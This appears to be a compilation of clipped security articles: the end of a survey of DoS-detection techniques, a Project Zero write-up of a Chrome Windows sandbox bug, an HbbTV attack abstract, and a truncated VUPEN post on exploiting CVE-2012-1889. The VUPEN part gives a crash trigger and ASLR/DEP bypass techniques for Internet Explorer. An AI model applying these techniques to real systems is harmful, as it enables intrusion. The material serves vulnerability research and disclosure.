detector provided positive attack indication for both test cases.

## Cusum and Wavelet Approaches

To test the Cusum sequential change-point detection against UDP, TCP, and ICMP
traffic floods, researchers used the ns-2 simulator to construct a network of
100 nodes.8 Of those nodes, four were core transit nodes and the remaining 96
nodes were distributed into 12 edge domains. Background traffic was a mixture
of ICMP, UDP, and TCP protocols, with TCP accounting for more than 75 percent
of the traffic.

The researchers performed three attack simulations: TCP SYN, UDP, and ICMP
floods. Each attack reached 20 percent of the total aggregate traffic through
either linear or abrupt increases. Cusum detected most of the attacks. In
addition, the researchers confirmed the theoretical and experimental
relationships between detection delay and false-alarm rate. False-alarm rates
ranged from less than 1 to 6 alarms per 100 packets monitored. Researchers
observed detection delays ranging from 1 to 36 seconds, depending on desired
false-alarm rate.

Another study used a Cusum algorithm against TCP SYN attacks.9 The three test
data set sources included a large company’s wide-area Internet access point
\(10 Mbits per second\) and two university’s Internet access points \(10 and
622 Mbits per second\). From the test data, the researchers extracted TCP
traffic containing SYN, ACK \(acknowledge\), and RST \(reset\) flags into a
time series, and then overlaid it with TCP SYN floods of constant intensity.
They used rates of 33 to 100 TCP SYNs per second. For attacks above 33 and 35
SYNs per second, Cusum’s detection probability was 70 and 100 percent,
respectively. Detection delays ranged from 20 seconds to 8 minutes.

Using wavelet analysis, researchers evaluated six months’ worth of router SNMP
and IP flow records, sampled at 5-minute intervals.12 The monitoring point was
a university-based wide-area access point. Network engineering analysis of the
log data identified more than 100 anomalous events, including network
malfunctions, attacks, and flash events. The researchers used a subset of 39
high-confidence anomalies for detection evaluation, although it’s unclear how
many of the anomalies were specifically DoS attacks. The wavelet analysis
missed only one of the anomalies. Detection time had an ambiguity of 1.5
hours.

In another study,10 researchers used both Cusum and a wavelet detector to
analyze three weeks’ worth of empirical data collected from a university
gateway. The researchers separately superimposed 119 DoS flooding attacks on
this data at intensities of four, seven, and 10 times that of the background
rate. Using a Cusum detection algorithm against the 4x DoS attack, they
measured 15 percent true detection and 18 percent false positives for a
detection rate of 0.83. Adding wavelet processing raised these metrics to 40
percent true detections and 30 percent false positives for a detection rate of
1.3. Wavelet processing provided a 56 percent increase in detection efficiency
over the Cusum alone. Using parameter tuning can slightly improve the
wavelet’s true detection rates to above 47 percent, with a decline in the
false-positive rate to 21 percent.

# Outstanding Concerns

DoS detectors aim to differentiate legitimate from malicious traffic under a
wide range of operating conditions. Although the surveyed detectors do indeed
detect some examples of DoS attacks, core problems are apparent.

## Varying Test Conditions

Most detectors we surveyed were woefully undertested against varying network
and attack conditions. Comprehensive testing is obviously a highly complex,
time-consuming process, calling for more efficient and comprehensive
approaches. Existing studies employed little variation in network environment,
attack-rate dynamics, or address spoofing to emulate a realistic deployment
setting. Researchers must include flash events and other legitimate activities
that closely mimic attack activity in all test traffic. Of the surveyed
detectors, only one explicitly acknowledged the presence of flash events.

This undertesting problem is partly due to the unavailability of comprehensive
test data, testing environments, and standards. We hope that such issues will
be addressed by upcoming cybersecurity initiatives, including the Cyber
Defense Technology Experimental Research Project \(Deter\) and the Protected
Repository for the Defense of Infrastructure against Cyber Threats
\(Predict\).

## Measuring Network Activity

Attack-detection statistics are only relative to “normal” network activity.
Attack models with sharp volume increases or uniform address distributions
reflect a small, aging subset of the attack problem space. These are
properties of earlier generational DoS attack tools, and as is well known,
attackers change their tools soon after discovery.

In all detector schemes, researchers have yet to develop nominal-traffic
measures that encompass the range of possible networks conditions. To quantify
normal activity, we must know the expected activity level of services running
on the network’s various machines. We can estimate network service activity
using information provided by network administrators, port probing, or direct
traffic monitoring. Yet, normal activity is a varying process: network
services have different lifetimes, activity levels, and availability, in
keeping with users’ variable time-of-day interactions. At this point, it’s
unclear whether suitable training algorithms or rule-of-thumb guidelines exist
that can adequately model nominal traffic’s irregular behavior.

Traffic-flow clustering offers insight into network activity, and trained
network analysts can easily visualize it with some of today’s tools.
Quantitative measures, such as wavelet energies, lack this desirable property.
Nonetheless, a strong dependency naturally exists between clustering and
detection. Defining a cluster is inherently complex for a given network and
can be difficult to validate. We’ve yet to see real-time, truly scalable
algorithms that can create, destroy, and modify the clusters with no a priori
application or protocol knowledge.

## Subverting Detection

Most researchers concede that attackers can defeat their detection methods by
developing attacks through trial and error. When studying activity profiling
or evaluating entropy of an address distribution, researchers assume that the
regular traffic is distributed among a few clusters or flows. It seems
reasonable that attackers can sniff local traffic, understand the address
distribution, and then spoof the addresses based on this calculation. For
change-point detectors that monitor changes in packet volume over time, an
initially low, slowly ramping attack rate dynamic might be obscured by the
background traffic’s high variability.

## Setting Parameters

Each detector has multiple operating parameters, including clustering
configuration, sampling window size, thresholds, and wavelet filtering level.
In most cases, researchers offer no guidance on parameter variations or their
effect on performance. Indeed, researchers often optimize parameters to their
own experimental test cases. When it comes to deployment, users have few clues
as to how they might adjust the detection performance for their own
environments; ad hoc training in parameter settings is typically required.

## Implementation Issues

None of the studies we reviewed addressed real-world implementation concerns.
In Table 1, we offer our relative rankings of the detection methods’
computational complexity and memory use. Because the Cusum algorithms8,9 are
based on single-stage, recursive, exponentially weighted estimators, they’re
the least complex and have the lowest memory use. The chi-square/entropy
detector7 is next because it uses only six bins to analyze its address
distributions. More detailed clustering, however, will increase its complexity
and memory requirements.

The combined Cusum and wavelet-based method10 incurs an extra _O_\(2 _n_\)
complexity over the Cusum methods, where 5 < _n_ < 11 is the spectral-
resolution level. Compared to this method, Barford’s wavelet method 12 is at
least two times as complex because it uses two redundant wavelet filter
stages. David Moore and his colleagues1 analyze the largest address
distribution—a /8 network \(224 individual addresses\)—and their method
consequently requires the most computation and memory use.

For network administrators, security is a fundamental concern, and they must
have efficient, reliable tools to help them quickly recognize and investigate
anomalous activities. Although intrusion detection is immature and doesn’t
always detect malicious activity, it can provide administrators with a useful
diagnostic resource.

At this point, we’ve yet to find a single technique to adequately detect DoS
flooding attacks; combining approaches might offer the best performance.13,14
Because false positives are likely in any case, however, experienced network
administrators are crucial in the attack-identification effort.

**Acknowledgments**

Our work was supported by a US National Science Foundation grant
\(CCR0310916\) and the Pennsylvania State Uni­versity Applied Research
Laboratory’s Educational and Foundational program.

**References**

  1. D. Moore, G.M. Voelker, and S. Savage, “Inferring Internet Denial-of-Service Activity,” _Proc. Usenix Security Symp.,_ Usenix Assoc., 2001.
  2. L. Gordon et al., _CSI/FBI Computer Crime and Security Survey_, Computer Security Inst., 2004.
  3. J. Mirkovic, G. Prier, and P. Reiher, “Attacking DDoS at the Source,” _Proc. 10th Int’l Conf. Network Protocols_ \(ICNP 2002\), IEEE CS Press, 2002, pp. 312–321.
  4. J. Mirkovic et al., _Internet Denial of Service: Attack and Defense Mechanisms_ , Prentice Hall, 2005.
  5. J. Mirkovic, J. Martin, and P. Reiher, “A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms,” _ACM Sigcomm Computer Comm. Rev._ , vol. 34, no. 2, 2004, pp. 39–53.
  6. J. Jung, B. Krishnamurthy, and M. Rabinovich, “Flash Crowds and Denial of Service Attacks: Characterization and Implications for CDNs and Web Sites,” _Proc. Int’l World Wide Web Conference_ , ACM Press, 2002, pp. 252–262.
  7. L Feinstein et al., “Statistical Approaches to DDoS Attack Detection and Response,” _Proc. DARPA Information Survivability Conf. and Exposition,_ vol. 1, 2003, IEEE CS Press, pp. 303–314.
  8. R.B. Blazek et al., “A Novel Approach to Detection of ‘Denial-of-Service’ Attacks via Adaptive Sequential and Batch-Sequential Change-Point Detection Methods,” _Proc. IEEE Workshop Information Assurance and Security_ , IEEE CS Press, 2001, pp. 220–226.
  9. H. Wang, D. Zhang, and K. Shin, “Detecting SYN Flooding Attacks,” _Proc. 21st Joint Conf. IEEE Computer and Comm. Societies_ _\(IEEE INFOCOM\)_ , IEEE Press, 2002, pp. 1530–1539.
  10. R.R. Brooks, _Disruptive Security Technologies with Mobile Code and Peer-to-Peer Networks_ , CRC Press, 2005.
  11. J. Jung et al., “Fast Portscan Detection Using Sequential Hypothesis Testing,” _Proc. IEEE Symp. Security and Privacy_ , IEEE CS Press, 2004, pp. 211–225.
  12. P. Barford et al., “A Signal Analysis of Network Traffic Anomalies,” _Proc. ACM SIGCOMM Internet Measurement Workshop,_ ACM Press, 2002, pp. 71–82.
  13. J. Allen et al., _State of the Practice of Intrusion Detection Technologies_ , tech. report CMU/SEI-99-TR-028, Software Eng. Inst., Carnegie Mellon Univ., 2000.
  14. R. Lippmann et al., “The 1999 DARPA Off-Line Intrusion Detection Evaluation,” _Computer Networks_ , vol. 34, no. 4, 2000, pp. 579–595.

**Glenn Carl** is a Phd student in electrical engineering at Pennsylvania
State University. His research interests include intrusion and anomaly
detection, network security testing, and large-scale network simulation.
Contact him at gmc102@psu.edu.

**Richard R. Brooks** is an associate professor in the Holcombe Department of
Electrical and Computer Engineering at Clemson University. His research
interests are in strategic distributed systems, network security, and adaptive
infrastructure. Brooks has a BA in mathematical sciences from the Johns
Hopkins University and a PhD in computer science from Louisiana State
University. Contact him at rrb@acm.org.

**Suresh Rai** is a professor in the Electrical and Computer Engineering
Department at Louisiana State University. His research interests include
network traffic, wavelet-based compression, and security. Rai has a PhD from
Kurukshetra University, India. Contact him at suresh@ece.lsu.edu.

**George Kesidis** is an associate professor in Pennsylvania State
University’s computer science and engineering and electrical engineering
departments. His current interests are in routing for wireless mobile ad hoc
networks, network pricing and economics, and cybersecurity testing. Kesidis
has a PhD in electrical engineering and computer science from the University
of California, Berkeley. Contact him at kesidis@engr.psu.edu.

Related Links

  * DS Online's Security Community
  * CFP for IEEE Internet Computing's theme on Malicious Software
  * Repository of IEEE Internet Computing articles

* * *
  
**Cite this article:**  
Glenn Carl, George Kesidis, Richard R. Brooks, and Suresh Rai, "Denial-of-
Service Attack-Detection Techniques," _IEEE Internet Computing_ , vol. 10, no.
1, 2006, pp. 82-89.  
---

# Project Zero: Did the “Man With No Name” Feel Insecure?

**Created:**| _10/20/2014 10:44:14 PM_  
---|---  
**Updated:**| _10/20/2014 10:44:14 PM_  
**Author:**| __  
**Tags:**| _vulnerability windows environment_  
  

# Did the “Man With No Name” Feel Insecure?

Posted by James Forshaw, Taker of Names

Sometimes when I'm doing security research I'll come across a bug which
surprises me. I discovered just such a bug in the Windows version of Chrome
which exposed a little-known security detail in the OS. The bug, CVE-2014-3196
was fixed in , so it seemed a good time for a blog post. The actual reported
issue is . While the bug didn’t allow for a full sandbox escape it did provide
the initial part of a chain; something that’s still important to fix.

The security of an OS kernel is of extreme importance to modern user-mode
sandboxes such as is used in Chrome. Some OS kernels have built-in facilities
for reducing the attack surface of the kernel and the OS in general, for
example seccomp on Linux or the sandbox facilities in OS X. While not always
perfect they are valuable facilities for Chrome. Windows 8 introduced some
steps towards improving sandboxing, such as the AppContainer model and the
ability to disable Win32k system calls. Chrome has experimental support for
disabling Win32k \(through the --enable\_win32k\_renderer\_lockdown flag\),
but for many other features it has to make do with what’s available.

On Windows, Chrome relies on the built-in NT permissions model to secure
resources from code executing within a sandboxed process. The Windows NT
operating system was built with security in mind \(no laughing at the back\)
including a robust and flexible permission model for securing resources. There
are two parts to securing resources, the Access Token which acts as the
identity of a process and the Discretionary Access Control List \(DACL\) that
defines the list of users and groups which can access a resource and what
permissions they would be granted. The set of permissions allowed is quite
granular \(and dependant on the object type\), but typically there are
separate permissions for read, write and execute operations.

When a user mode process requests access to a securable kernel object the
kernel's security manager verifies the process Access Token has access to that
resource with the required sets of permissions as defined in the . If all
permissions are allowed then a Handle is generated, an opaque reference to the
object, and returned to the process which can use it in subsequent system
calls. Many resources also have the ability to have an assigned name. Think of
the name like a file path which represents how to find and open a new handle
to the object. You can browse named objects using the WinObj tool from
Sysinternals.

<img src='img/Temp2_6442.png' />

One such securable resource is shared memory sections, sometimes called
memory-mapped files. On Windows this is created through the CreateFileMapping
API function. If you look at the API you'll notice that it has a final
parameter which specifies the name of the object. Shared memory sections are
used when Chrome needs to share large amounts of data between sandboxed
processes and the privileged broker process. The kernel defines a few
permissions a program can request when accessing a section object; the most
important for our purposes are FILE\_MAP\_WRITE which gives the program the
ability to map the memory writable and FILE\_MAP\_READ which gives the program
read-only access. If a program is only granted FILE\_MAP\_READ the kernel will
ensure it cannot be mapped writable.

One useful feature of shared memory is that a process can create the memory
and then share a read-only copy with other processes. This allows a higher
privileges process to provide a real-time copy of data which only it can
update. A typical way to share sections read-only on Windows is to name them
when they're created writeable in the original process. Then by applying an
appropriate a sandboxed process calling the OpenFileMapping function can only
be granted the FILE\_MAP\_READ permission. In Chrome’s case, sections are not
shared by providing a name. Instead it uses a different method which we can
see by looking at the source code. In the base/memory directory you'll find
Chrome's implementation of shared memory for the different platforms. In the
header you'll find an important function:

bool ShareReadOnlyToProcess\(ProcessHandle process, SharedMemoryHandle\*
new\_handle\) \{ return ShareToProcessCommon\(process, new\_handle, false,

SHARE\_READONLY\);

ShareReadOnlyToProcess function delegates to an OS specific function. For
Windows this looked like:

bool SharedMemory::ShareToProcessCommon\(ProcessHandle process,
SharedMemoryHandle \*new\_handle, bool close\_self, ShareMode share\_mode\) \{
\*new\_handle = 0; DWORD access = FILE\_MAP\_READ; DWORD options = 0; HANDLE
mapped\_file = mapped\_file\_; HANDLE result; if \(share\_mode ==
SHARE\_CURRENT\_MODE && \!read\_only\_\) access |= FILE\_MAP\_WRITE; //
\*SNIP\* ... if \(\!DuplicateHandle\(GetCurrentProcess\(\), mapped\_file,
process, &result, access, FALSE, options\)\) return false; \*new\_handle =
result; return true;

It might be more obvious if I show it in diagrammatic form. The section object
is shared between the different processes but the handles have different
permissions.

<img src='img/Temp2_6441.png' />

When the broker process shares the section read-only it uses the
DuplicateHandle API to create a new handle in the sandboxed renderer process.
It specifies FILE\_MAP\_READ as the desired permissions so that is all the
permissions assigned to the renderer. Now because of the NT security model the
renderer process shouldn't be able to re-open the section with write access as
the process runs with virtually no permissions in its Token. You'd think that
was the case but it turns out not to be. When Chrome created the original
section it never supplied a name, it turns out section objects with names also
have security. Surprise\!

This behaviour is documented, sort-of. For example have a look at MSDN page.
Did you see the documented behaviour? It amounts to a throw away comment, with
no effort to go into detail. The page doesn’t tell you which unnamed objects
have no security, just that some unnamed objects have security \(such as
processes\). So let's find out what determines this behaviour. If you dump the
OBJECT\_TYPE\_INITIALIZER structure from the public kernel symbols you'll see
the offender.

0:000> dt nt\!\_OBJECT\_TYPE\_INITIALIZERntdll\!\_OBJECT\_TYPE\_INITIALIZER
+0x000 Length : Uint2B +0x002 ObjectTypeFlags : UChar +0x002 CaseInsensitive :
Pos 0, 1 Bit +0x002 UnnamedObjectsOnly : Pos 1, 1 Bit +0x002 UseDefaultObject
: Pos 2, 1 Bit +0x002 SecurityRequired : Pos 3, 1 Bit <\---- Important Flag
+0x002 MaintainHandleCount : Pos 4, 1 Bit +0x002 MaintainTypeList : Pos 5, 1
Bit +0x002 SupportsObjectCallbacks : Pos 6, 1 Bit +0x002 CacheAligned : Pos 7,
1 Bit +0x004 ObjectTypeCode : Uint4B +0x008 InvalidAttributes : Uint4B \*
SNIP....

The important part of the type is the SecurityRequired flag. If you dump the
section object type nt\!MmSectionObjectType and compare it to something like
the process type nt\!PsProcessType you'll see the difference. I guess the
question you might be asking is what other types have this same behaviour;
well a quick script later on Windows 8.1 and you’ll get the following types
which have the SecurityRequired flag set to 0, note of course that the Section
type is among the list:

AdapterALPC
PortCallbackControllerDeviceDriverEventFilterCommunicationPortIoCompletionIoCompletionReserveIRTimerKeyedEventMutantPcwObjectPowerRequestProfileSectionSemaphoreSymbolicLinkTimerTpWorkerFactoryUserApcReserveWaitCompletionPacket

There are some interesting types in the list, but remember these types only
have no security if they have no name, which would make it trickier to
exploit. Also some like “Type” are unlikely to ever be accessible in a user
mode process, but it’s still worthwhile pointing them out.

Okay so how might we exploit this in practice? Turns out there was actually
only one user of the ShareReadOnlyToProcess method at the time. It was part of
the code which shared extension scripts between renderer processes \(see
user\_script\_loader.cc\). For reasons of efficiency these scripts were shared
read-only to the renderers and relied on the OS enforcing this read-only
property of the sections to prevent the renderers modifying the contents. On
Linux/OSX this works but due to the issue I’ve just described it didn't work
so well on Windows. The contents of the section looked like the image below,
it contained a pickled version of the script and extension information.

<img src='img/Temp2_6443.png' />

From a compromised renderer you can call DuplicateHandle to elevate the
privileges of the section handle to re-gain write access, then modify the
shared memory to execute arbitrary Javascript in any rendered page, including
more-privileged chrome:// pages. While this is not directly a sandbox breakout
it could be used as part of a chain as demonstrated in previous attacks
against the Chrome sandbox. Of course a bug like this might be even more
important when site-isolation is enabled as a default in Chrome.

<img src='img/Temp2_6439.png' />

One final note on how you might find similar issues in other applications.
Remember that even though each process has different handles, each refers to
the same section object in the kernel. A quick way to check on this is to use
a tool such as Process Hacker Process Explorer and look at the handle table.
While not the default you can add the Object Address column to the table, you
can then use this information when looking at unnamed sections to determine if
any are shared with a more privileged process, and whether any sections are
only granted FILE\_MAP\_READ permissions in the low-privileged process.

<img src='img/Temp2_6440.png' />

This bug is the result of a corner case in the Windows OS. I can understand
the reason why it works this way, unnamed objects are not supposed to be
trivially shareable so why go to the expense of performing a security check
unnecessarily. Strangely even if you try to set a DACL on the section object
the kernel will return an error, there is no actual way to secure these types
of objects other than by setting a name. When you try and make a secure
sandbox on top of such an OS these things can come back to bite you.

# issoY nerO - Yossef Oren, Angelos D. Keromytis: From the Aether to the
Ethernet - Attacking the Internet using Broadcast Digital Television

**Created:**| _6/12/2014 10:25:51 AM_  
---|---  
**Updated:**| _6/12/2014 10:25:51 AM_  
**Author:**| __  
**Tags:**| _intelligence signal broadcast tv_  
  

#

Yossef Oren, Angelos D. Keromytis: From the Aether to the Ethernet - Attacking
the Internet using Broadcast Digital Television

<img src='img/Temp2_10407.png' />

**Abstract:** In the attempt to bring modern broadband Internet features to
traditional broadcast television, the Digital Video Broadcasting \(DVB\)
consortium introduced a specification called Hybrid Broadcast-Broadband
Television \(HbbTV\), which allows broadcast streams to include embedded HTML
content which is rendered by the television. This system is already in very
wide deployment in Europe, and has recently been adopted as part of the
American digital television standard.

Our analyses of the specifications, and of real systems implementing them,
show that the broadband and broadcast systems are combined insecurely. This
enables a large-scale exploitation technique with a localized geographical
footprint based on radio frequency \(RF\) injection, which requires a minimal
budget and infrastructure and is remarkably difficult to detect. Despite our
responsible disclosure to the standards body, our attack was viewed as too
expensive and with limited pay-off to the attackers.

In this paper, we present the attack methodology and a number of follow-on
exploitation techniques that provide significant flexibility to attackers.
Furthermore, we demonstrate that the technical complexity and required budget
are low, making this attack practical and realistic, especially in areas with
high population density – in a dense urban area, an attacker with a budget of
about $450 can target more than 20,000 devices in a single attack. A unique
aspect of this attack is that, in contrast to most Internet of Things/Cyber-
Physical System threat scenarios where the attack comes from the data network
side and affects the physical world, our attack uses the physical broadcast
network to attack the data network.

## Press Coverage:

##  Download: \[PPT\] \[PDF\] \[BIB\]

###  _Topic Group - HbbTV Security:\[Usenix 2014\] _

* * *
\[Home\]

# VUPEN Vulnerability Research Blog - Advanced Exploitation of Internet
Explorer XML Core Services Uninitialized Memory \(MS12-043 / CVE-2012-1889\)

**Created:**| _7/19/2012 1:58:03 PM_  
---|---  
**Updated:**| _11/26/2012 4:49:33 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment IE_  
  
| **VUPEN Vulnerability Research Team \(VRT\) Blog**  
---  
| |     
**Advanced Exploitation of IE MSXML Remote Uninitialized Memory \(MS12-043 /
CVE-2012-1889\)**  
 | _Published on 2012-07-17 17:08:46 UTC by Nicolas Joly_ _, Security
Researcher @ VUPEN_| <img src='img/Temp2_8820.png' width='20' height='20'
alt='Twitter' /> <img src='img/Temp2_8823.png' width='20' height='20'
alt='LinkedIn' /> <img src='img/Temp2_8822.png' width='20' height='20'
alt='Delicious' /> <img src='img/Temp2_8821.png' width='20' height='20'
alt='Digg' />     
---|---  
<img src='img/Temp2_8818.png' width='59' height='56' />Hi exploiters,  
  
A few weeks ago, criminals decided to offer to the security community a new
in-the-wild zero-day exploit affecting Microsoft Windows XML Core Services,
known as CVE-2012-1889 and patched as part of the MS12-043 security bulletin.
While the nature of the flaw and its exploitability using Internet Explorer
with a non-ASLRed Java6 plug-in have been largely discussed over the web, no
advanced methods have been publicly documented to exploit the flaw on Windows
7 and bypass ASLR/DEP without using any third-party plug-in.  
  
The aim of this blog post is to share a new method we have found and used to
get a memory leak from this specific bug using RGB colors, and prove, once
again, that with enough efforts a sophisticated exploit can be created for
this flaw and ASLR/DEP circumvented _without_ the need of a third-party module
such as JRE6.  
  
  
**__1\. Technical Analysis of the Vulnerability__**  
  
This specific vulnerability can be triggered by a single JavaScript line that
should be enough to crash any unpatched IE version:  
  

   
 new ActiveXObject\("Msxml2.DOMDocument.6.0"\).definition\(""\);  
   
---  
The root cause lies in "_DOMNode::get\_definition\(\)_ " in msxml6.dll. This
function expects an address to store the pointer to a _ppNode_ object as the
second argument: _DOMNode::get\_definition\(DOMNode \*this, IXMLDOMNode
\*\*ppNode\)_.  
  
Under certain circumstances, it is possible to skip the initialization of
_ppNode_. Such case typically occurs when "_Node::getDefinition\(\)_ " returns
0 in the next lines:  
  

   
 .text:7277016E mov edi, \[ebp+0Ch\]                             // edi points
to ppNode  
 .text:72770171 test edi, edi  
 .text:72770173 jnz short loc\_7277018B  
 ...  
 .text:7277018B loc\_7277018B:  
 .text:7277018B and dword ptr \[ebp-4\], 0  
 .text:7277018F mov ecx, \[esi+1Ch\]  
 .text:72770192 call Node::getDefinition\(void\)                // this call
can return 0\!  
 .text:72770197 test eax, eax  
 .text:72770199 jz short loc\_727701A6  
   
---  
However, when "_Node::getDefinition\(\)_ " returns 0, the execution flow
reaches _loc\_727701A6_ without setting _ppNode_ :  
  

   
 .text:727701A6 loc\_727701A6:  
 .text:727701A6 mov dword ptr \[ebp-1Ch\], 1  
 .text:727701AD jmp short loc\_727701D2                     // exit function  
   
---  
Usually this has no consequence over the execution flow as the _ppNode_ is
previously initialized and set to NULL in other functions. The following lines
thus do not trigger anything:  
  

   
 var xmlDoc = new ActiveXObject\("Msxml2.DOMDocument.6.0"\);  
 alert\(xmlDoc.definition\);                                           //
display null  
   
---  
However the _definition_ keyword supports the syntax used to call a method:  
  

   
 var xmlDoc = new ActiveXObject\("Msxml2.DOMDocument.6.0"\);  
 alert\(xmlDoc.definition\(""\)\);                                      //
crash  
   
---  
In such a case, the execution flow in "_\_dispatchImpl::InvokeHelper\(\)_ "
takes another path:  
  

   
 .text:727457A0 lea eax, \[ebp+vtDisp\]  
 .text:727457A3 push eax  
 .text:727457A4 call VariantInit\(x\)                              // init
vtDisp  
 .text:727457AA push ebx  
 .text:727457AB lea eax, \[ebp+vtDisp\]  
 .text:727457AE push eax  
 .text:727457AF push 2  
 .text:727457B1 push ebx  
 .text:727457B2 push \[ebp+dispid\]  
 .text:727457B5 push \[ebp+pTarget\]  
 .text:727457B8 call dword ptr \[esi+20h\]                    // call
DOMNode::get\_definition  
  
   
---  
The vulnerability results from the fact that _VariantInit_ does not initialize
_vtDisp + 8_ , which will later be used to store _ppNode_. If
"_DOMNode::get\_definition\(\)_ " exits without setting _ppNode_ , the
application assumes a valid pointer at _vtDisp + 8_ and will use it to call a
virtual function:  
  

   
 .text:727457C3 mov eax, dword ptr \[ebp+vtDisp+8\] // use vtDisp + 8  
 .text:727457C6 mov esi, eax  
 .text:727457C8 cmp eax, ebx  
 .text:727457CA jz short loc\_727457F5  
 .text:727457CC push \[ebp+puArgErr\]  
 .text:727457CF mov ecx, \[eax\]                               // dereference
a vTable  
 .text:727457D1 push \[ebp+pExcepInfo\]  
 .text:727457D4 push \[ebp+pVarResult\]  
 .text:727457D7 push edi  
 .text:727457D8 push 3  
 .text:727457DA push \[ebp+lcid\]  
 .text:727457DD push offset \_GUID\_NULL  
 .text:727457E2 push ebx  
 .text:727457E3 push eax  
 .text:727457E4 call dword ptr \[ecx+18h\]                 //call a virtual
function  
   
---  
Some techniques have been publicly discussed on how to control the vulnerable
variable and redirect the execution flow. For example, creating an _Img_
element and assigning a long url to _img.src_ , then calling
_xmlDoc.definition\(img.namedProp\)_ will result in _vtDisp + 8_ being
controlled:  

   
 .text:727457C3 mov eax, dword ptr \[ebp+vtDisp +8\] // eax can be controlled  
 ...  
 .text:727457CF mov ecx, \[eax\]                                // ecx can be
controlled  
 ...  
 .text:727457E4 call dword ptr \[ecx+18h\]                  // call an
arbitrary address  
   
---  
Such technique however requires knowing the location of at least one gadget.
The public exploits for example have used a statically loaded Java library to
achieve code execution.  
  
However such vulnerabilities are so amazing that they can also be abused to
leak memory and execute arbitrary code without using a statically loaded
library such as JRE6.  
  
  
**__2.__** **_Advanced Exploitation With ASLR/DEP Bypass  
  
_** We found two distinct methods to exploit this vulnerability on IE8 under
Windows 7, and IE9 under Windows 7 without using any third-party plug-in.  
  
__Leaking on IE8 / Windows7 or how to collect your pointers?__  
  
Observe the piece of code that causes the crash:  

   
 .text:727457CC push \[ebp+puArgErr\]  
 .text:727457CF mov ecx, \[eax\]                               // dereference
a vTable  
 .text:727457D1 push \[ebp+pExcepInfo\]  
 .text:727457D4 push \[ebp+pVarResult\]  
 .text:727457D7 push edi  
 .text:727457D8 push 3  
 .text:727457DA push \[ebp+lcid\]  
 .text:727457DD push offset \_GUID\_NULL  
 .text:727457E2 push ebx  
 .text:727457E3 push eax  
 .text:727457E4 call dword ptr \[ecx+18h\]                 // call a virtual
function  
 .text:727457E7 mov \[ebp+hr\], eax  
 .text:727457EA mov eax, \[esi\]  
 .text:727457EC push esi  
 .text:727457ED call dword ptr \[eax+8\]                   // call a virtual
function  
   
---  
If the uninitialized variable can be made to point to a valid object, it
should be possible to safely hit the functions at offset +18h and +8 in its
_vTable_. While the first one can be anything, the second is likely
"_Release\(\)_ " and will probably decrement the reference counter and free
the object when _refcount = 1_. At that point, a carefully chosen object can
be allocated to confuse IE.  
  
The main idea to exploit this vulnerability consists thus in freeing and
replacing an interesting object that can later be abused to read an arbitrary
string in memory. Yes, bugs like that should not be killed\!  
  
The vulnerable variable can be assigned according to the way
_xmlDoc.definition_ is called. There are many ways to put a particular pointer
in the vulnerable variable. We can use for example introspection on an object
and call _xmlDoc.definition_ on each of its attributes to list the available
objects. Consider the following example:

   
 <script>  
 function f\(\) \{  
    var count = 0  
    for \(var v in obj\)  
        count++  
    alert\(count\)  
  
    var o = obj.cloneNode\(\)  
    div.appendChild\(o\)  
  
    count = 0  
    for \(var v in obj\)  
        count++  
    alert\(count\)  
  
  \}  
 </script>  
  
 <div id="div">  
 <object id="obj" style="display:none"></object>  
 </div>  
   
---  
These lines consist first in adding an _Object_ element named _obj_ under a
_Div_ element. Function _f_ enumerates then the attributes of that element,
clones the element, and adds the clone to the _Div_ 's children. It enumerates
then a second time the attributes of _obj_. While the first count equals 176,
the second one is unexpectedly set to 3. This is because two elements exist
with the same ID. In such case, IE creates a new collection named _obj_ , and
adds the two _Object_ elements to that collection. The _obj_ collection has
then these three attributes:  
  
\- length  
\- obj  
\- obj  
  
During the last introspection, IE calls "_CCollectionCache::GetMemberName\(\)_
" to get the name/ID of the collection members. In this part, the
_CObjectElement_ vTable is never used to read the object name. The application
rather uses the _CAttrArray_ object at offset +0Ch in the _CObjectElement_ to
find the name attribute \(see _CElement::GetIdentifier_ for more
information\):

_" CCollectionCache::GetMemberName\(\)"_:  

   
 .text:74FB33F0 lea eax, \[ebp+var\_34\]  
 .text:74FB33F3 push eax  
 .text:74FB33F4 mov eax, \[ebp+arg\_4\]  
 .text:74FB33F7 push edi  
 .text:74FB33F8 mov edi, ebx  
 .text:74FB33FA call CCollectionCache::GetIntoAry\(\)    // return a pointer
to a CObjectElement to var\_34  
 .text:74FB33FF mov eax, \[ebp+var\_34\]  
 .text:74FB3402 test eax, eax  
 .text:74FB3404 jz short loc\_74FB3424  
 .text:74FB3406 call CElement::GetIdentifier\(void\)       // return a pointer
to _CObjectElement.id_ to eax  
 .text:74FB340B test eax, eax  
 .text:74FB340D jz short loc\_74FB3424                       // null string?  
 .text:74FB340F mov ecx, eax  
 .text:74FB3411 lea esi, \[ecx+2\]  
 .text:74FB3414  
 .text:74FB3414 loc\_74FB3414:  
 .text:74FB3414 mov dx, \[ecx\]  
 .text:74FB3417 inc ecx  
 .text:74FB3418 inc ecx  
 .text:74FB3419 test dx, dx  
 .text:74FB341C jnz short loc\_74FB3414  
 .text:74FB341E sub ecx, esi  
 .text:74FB3420 sar ecx, 1  
 .text:74FB3422 jnz short loc\_74FB3446                     // get the length
of _CObjectElement.id_  
 ...  
 .text:74FB3446 loc\_74FB3446:  
 .text:74FB3446 mov esi, \[ebp+var\_3C\]  
 .text:74FB3449 call EdUtil::FormsAllocStringW\(\)        // copy the string  
   
---  
The idea consists thus in replacing the _CObjectElement_ by a string that will
be dereferenced to point to a fake attribute array in a heap spray. If this
array associates the _ID_ attribute to 0x7FFE0300 on 32bit systems, it becomes
possible to read the system call pointer and deduce NTDLL's base address. On
64bit systems, another value is used. The ROP is then straightforward, leading
to arbitrary code execution and ASLR/DEP bypass without the need of Java.  
  
__The IE9 / Windows 7 Case. Give me your color, I 'll give you the address\!  
  
__ The previous method does not work with IE9 on Windows 7. As we can see in
"_CElement::GetIdentifier_ ", the function now uses the _vTable_ before
accessing the attributes. Taking this way results then in crashing before
leaking:

   
 .text:637CFB87 test dword ptr \[edi+28h\], 1C000h  
 .text:637CFB8E jnz loc\_6382B61E                            // return 0 if
not taken  
 ...  
 .text:6382B61E loc\_6382B61E:  
 .text:6382B61E mov eax, \[edi\]  
 .text:6382B620 mov edx, \[eax+17Ch\]  
 .text:6382B626 mov ecx, edi  
 .text:6382B628 call edx                                          // crash  
   
---  
But there is still no need to despair and use JRE6\! Instead, look at _"
CDocument::get\_bgColor\(\)__"_ :

   
 .text:63B6753D loc\_63B6753D:  
 .text:63B6753D mov ecx, \[ebp+arg\_0\]  
